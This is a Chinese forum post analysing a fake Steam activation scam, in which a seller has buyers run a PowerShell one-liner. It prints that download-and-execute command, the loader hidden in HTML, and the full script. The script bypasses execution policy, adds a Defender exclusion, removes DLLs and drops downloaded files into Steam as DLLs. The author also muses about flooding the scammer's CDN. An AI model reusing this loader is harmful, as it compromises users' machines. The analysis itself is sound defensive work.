steam 假激活的玩意分析

pdd 店家假激活要求输入这个命令

irm steam.*** | iex

尝试浏览器直接访问这个 steam 网站，直接跳转到了真 steam 思路错误然后把管道符号|去掉发现拉去的还是 html ，发现有些不对，于是把

irm steam.***

的玩意全部一股脑扔进 vscode 然后折叠 html 发现了这个玩意


#>

irm steam.***/pwsDwFile/new -OutFile x.ps1

powershell.exe -ExecutionPolicy Bypass -File x.ps1;

<#

使用 powershell 绕过执行策略的限制这里我最开始没发现问题，看了半天 html 都快傻眼了，代码还能混淆进 html ？最后反向思考肯定得用 powershell 才能执行接下来的脚本，于是搜搜 powershell 关键字给我找出来上面那两玩意，前面那句居然是藏在 html 里面的，后面那句没有隐藏，vscode 折叠一下就看见 powershell 了继续跟进 x.ps1

cls

$filePathToDelete = Join-Path $env:USERPROFILE "x.ps1"
 if (Test-Path $filePathToDelete) {
    Remove-Item -Path $filePathToDelete
}
$desktopFilePathToDelete = Join-Path ([System.Environment]::GetFolderPath('Desktop')) "x.ps1"
if (Test-Path $desktopFilePathToDelete) {
    Remove-Item -Path $desktopFilePathToDelete
}

把自己删了

$steamRegPath = 'HKCU:\Software\Valve\Steam'

搜搜 steam

$localPath = -join ($env:LOCALAPPDATA,"\SteamActive")
if ((Test-Path $steamRegPath)) {
    $properties = Get-ItemProperty -Path $steamRegPath
    if ($properties.PSObject.Properties.Name -contains 'SteamPath') {
        $steamPath = $properties.SteamPath
    }
}

让用户关掉授权

if (-not ([Security.Principal.WindowsPrincipal][Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) {
    Write-Host "[请重新打开 Power shell 打开方式以管理员身份运行]" -ForegroundColor:red
    exit
}

function PwStart() {
    if(Get-Process "360Tray*" -ErrorAction Stop){
        while(Get-Process 360Tray* -ErrorAction Stop){
            Write-Host "[请先退出 360 安全卫士]" -ForegroundColor:Red
            Start-Sleep 1.5
        }
        PwStart

    }
    if(Get-Process "360sd*" -ErrorAction Stop)
    {
        while(Get-Process 360sd* -ErrorAction Stop){
            Write-Host "[请先退出 360 杀毒]" -ForegroundColor:Red
            Start-Sleep 1.5
        }
        PwStart
    }

这句话很奇怪，实际上虚拟机里面没有 steam 并没有执行？

    if ($steamPath -eq ""){
        Write-Host "[请检查您的 Steam 是否正确安装]" -ForegroundColor:Red
        exit
    }

关掉 steam

    Write-Host "[ServerStart        OK]" -ForegroundColor:green
    Stop-Process -Name steam* -Force -ErrorAction Stop
    Start-Sleep 2
    if(Get-Process steam* -ErrorAction Stop){
        TASKKILL /F /IM "steam.exe" | Out-Null
        Start-Sleep 2
    }

    if (!(Test-Path $localPath)) {
        md $localPath | Out-Null
        if (!(Test-Path $localPath)) {
            New-Item $localPath -ItemType directory -Force | Out-Null
        }
    }

    $catchPath = -join ($steamPath,"\package\data")
    if ((Test-Path $catchPath)) {
        if ((Test-Path $catchPath)) {
            Remove-Item $catchPath -Recurse -Force | Out-Null
        }
    }

添加免杀

    try{
        Add-MpPreference -ExclusionPath $steamPath -ErrorAction Stop
        Start-Sleep 3
    }catch{}

    Write-Host "[Result->0          OK]" -ForegroundColor:green

删掉其他家的 dll ？

    try{
        $d = $steamPath + "/version.dll"
        if (Test-Path $d) {
            Remove-Item $d -Recurse -Force -ErrorAction Stop | Out-Null #清除文件
        }
        $d = $steamPath + "/user32.dll"
        if (Test-Path $d) {
            Remove-Item $d -Recurse -Force -ErrorAction Stop | Out-Null #清除文件
        }
        $d = $steamPath + "/hid.dll"
        if (Test-Path $d) {
            Remove-Item $d -Recurse -Force -ErrorAction Stop | Out-Null #清除文件
        }
    }catch{
        Write-Host "[异常残留请检查[$d]文件是否异常!]" -ForegroundColor:red
        exit
    }

下 pdf 假装？话说老哥们有啥可以刷网络的工具么，其实我有点想刷上一波把他 cdn 刷干净，但是限速 2m 并且单 ip 限 1 个线程

    $downloadData = "http://steam.***/pwsDwFile/bcfc1e52ca77ad82122dfe4c9560f3ec.pdf"
    $downloadLink = "http://steam.***/pwsDwFile/9b96dab2bb0ba18d56068fabc5b17185.pdf"
    
    irm -Uri $downloadLink -OutFile $d -ErrorAction Stop
    Write-Host "[Result->1          OK]" -ForegroundColor:green
    $d = $localPath + "/hid"
    irm -Uri $downloadData -OutFile $d -ErrorAction Stop
    Write-Host "[Result->2          OK]" -ForegroundColor:green
    
    Start-Sleep 1

重新打开 steam

    Start steam://
    Write-Host "[连接服务器成功请在 Steam 输入激活码 3 秒后自动关闭]" -ForegroundColor:green
    Start-Sleep 3
    exit
|
}

整体看下来就是给 steam 添加了两个文件，可是看起来并没有进行注入什么的啊，我理解就需要 dll 时候是先拉文件目录内的 dll 进行执行？这样才能解释为啥就是只添加了两个文件？